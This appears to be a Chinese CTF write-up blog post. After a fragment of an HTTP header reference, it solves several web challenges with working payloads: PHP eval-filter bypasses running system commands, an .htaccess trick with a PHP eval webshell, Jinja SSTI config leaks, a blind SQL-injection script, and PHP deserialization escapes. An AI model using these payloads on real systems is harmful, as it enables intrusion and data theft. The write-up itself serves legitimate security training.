If-Modified-Since 如果请求的部分在指定时间之后被修改则请求成功,未被修改则返回304代码 If-Modified-Since: Sat, 29 Oct 2010 19:43:31 GMT
If-None-Match 如果内容未改变返回304代码,参数为服务器先前发送的Etag,与服务器回应的Etag比较判断是否改变 If-None-Match: “737060cd8c284d8af7ad3082f209582d”
If-Range 如果实体未改变,服务器发送客户端丢失的部分,否则发送整个实体。参数也为Etag If-Range: “737060cd8c284d8af7ad3082f209582d”
If-Unmodified-Since 只在实体在指定时间之后未被修改才请求成功 If-Unmodified-Since: Sat, 29 Oct 2010 19:43:31 GMT
Max-Forwards 限制信息通过代理和网关传送的时间 Max-Forwards: 10
Pragma 用来包含实现特定的指令 Pragma: no-cache
Proxy-Authorization 连接到代理的授权证书 Proxy-Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
Range 只请求实体的一部分,指定范围 Range: bytes=500-999
Referer 先前网页的地址,当前请求网页紧随其后,即来路 Referer: http://www.zcmhi.com/archives…
TE 客户端愿意接受的传输编码,并通知服务器接受接受尾加头信息 TE: trailers,deflate;q=0.5
Upgrade 向服务器指定某种传输协议以便服务器进行转换(如果支持) Upgrade: HTTP/2.0, SHTTP/1.3, IRC/6.9, RTA/x11
User-Agent User-Agent的内容包含发出请求的用户信息 User-Agent: Mozilla/5.0 (Linux; X11)
Via 通知中间网关或代理服务器地址,通信协议 Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1)
Warning 关于消息实体的警告信息 Warn: 199 Miscellaneous warning

[CISCN 2019 初赛]Love Math

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

payload1:

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat%20/flag

1
2
3
4
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET" //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]

payload2:

$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

1
2
3
base_convert(696468,10,36) => "exec"
$pi(8768397090111664438,10,30) => "getallheaders"
exec(getallheaders(){1})

image-20200812222109098

payload3:

通过白名单和数字异或出 _GET或_POST

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$list = ['_G','ET'];

$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($t=0;$t<sizeof($list);$t++)
{
for($k=0;$k<sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){

$exp = $payload[$k] ^ $i.$j;
if($exp == $list[$t])
{
echo($payload[$k]."^$i$j"."==>$exp");
echo "\n";
}

}
}
}
}

$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag

[GXYCTF2019]BabyUpload

.hatcess

SetHandler application/x-httpd-php

图片马

<script language="php">eval($_POST['a']);</script>

Nginx 可以利用 .user.ini 自动包含文件

auto_prepend_file=xx.jpg

[WesternCTF2018]shrine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])
+ s

return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
app.run(debug=True)

禁用 () RCE无缘

内置函数,比如url_forget_flashed_messages读取配置文件

1
2
3
4
/shrine/{{url_for.__globals__['current_app'].config}}

//把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

又是一道SSTI

抓包发现 user存在SSTI注入,参考k0rz3n师傅的文章

image-20200813101645436

[BJDCTF 2nd]简单注入

扫一下目录,发现了robots.txt,直接访问hint.txt

得到 select * from users where username='$_POST["username"]' and password='$_POST["password"]';

禁用了一下关键字

image-20200813210653330

这里 username传入 \ 就会把 '转义破坏语句结构

username=\&password=or/**/1>0#

1
select * from users where username='\' and password='     or/**/1>0#'

1>0 返回 BJD needs to be stronger

1<0 返回 You konw ,P3rh4ps needs a girl friend

然后写盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
url = "http://70c88c86-504f-479c-be1d-0324c8bcbb17.node3.buuoj.cn/index.php"

data = {"username":"\\","password":""}
result = ""
i = 0

while(True):
i = i + 1
head = 32
tail = 127
while(head < tail):
mid = (head + tail) >> 1
#print(mid)
payload = "or if(ascii(substr(username,{},1))>{},1,0)#".format(i, mid)
payload = "or if(ascii(substr(password,{},1))>{},1,0)#".format(i, mid)
data['password'] = payload
r = requests.post(url,data=data)
if "stronger" in r.text:
head = mid + 1
else:
tail = mid
last = result
if head != 32:
result += chr(head)
else:
break
print(result)

[2019]easy_serialize_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

extract($_POST);导致变量覆盖

1
2
3
4
5
6
<?php
$a = array("size"=>"2","color"=>"blue");
var_dump($a);

extract(array("a"=>array("year","2020")));
var_dump($a);

所以$_SESSION是可控的,通过filter()改变序列化字符串,从而可控img的值

payload1:值逃逸,这儿需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对

payload2:键逃逸,这儿只需要一个键值对就行了,我们直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独得键值对

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = "show_image" ;
//payload1
$b=array("_SESSION"=>array("user"=>"flagflagflagflagflagflag","function"=>'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}'));
//payload2
//$b=array("_SESSION"=>array("flagphp"=>';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'));
extract($b);

$_SESSION['img'] = base64_encode('guest_img.png');

var_dump(serialize($_SESSION));

$serialize_info = filter(serialize($_SESSION));
var_dump($serialize_info);

$userinfo = unserialize($serialize_info);
var_dump($userinfo);

接着读flag就行

[网鼎杯 2020 朱雀组]phpweb

抓包后,读源码

image-20200815235733909

过滤很多,但有个反序列化函数没被禁用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}

class Test {
var $p = "ls";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a = new Test();
echo serialize($a);
?>

image-20200816000143586

命名空间绕过黑名单

1
func=\system&p=cat $(find / -name flag*)

[强网杯 2019]高明的黑客

写脚本爆破GET和POST参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import requests
import re
import os
import urllib
import Queue
import threading

payload = 'echo "hello_qwb_qwb";'
url = 'http://127.0.0.1/src/'


def fuzz(filename):
file = open("./src/" + filename, "r")
# print "[*]open:" + filename
text = file.read()

getpattern = re.compile(r'\$_GET\[\'(.*)\'\]')
get = getpattern.findall(text)

postpattern = re.compile(r'\$_POST\[\'(.*)\'\]')
post = postpattern.findall(text)

file_url = url + filename
for g in get:
r = requests.get(file_url + "?" + g + "=" + urllib.quote(payload))
if "hello_qwb_qwb" in r.text:
print("[+]file:" + filename)
print("[+]get:" + g)
exit()

for p in post:
data = {p: payload}
r = requests.post(file_url, data=data)
if "hello_qwb_qwb" in r.text:
print("[+]flie:" + filename)
print("[+]post:" + p)
exit()


print("[*]finish:" + filename)
file.close()


class TextThread(threading.Thread):
def __init__(self, queue):
threading.Thread.__init__(self)
self.__queue = queue

def run(self):
global text
queue = self.__queue
while not queue.empty():
filename = queue.get()
fuzz(filename)


def main():
queue = Queue.Queue()
for filename in os.listdir('./src'):
queue.put(filename)

thread_count = 8
threads = []
for i in range(0, thread_count):
thread = TextThread(queue)
thread.start()
threads.append(thread)

for thread in threads:
thread.join()


if __name__ == '__main__':
main()
-------------本文结束感谢您的阅读-------------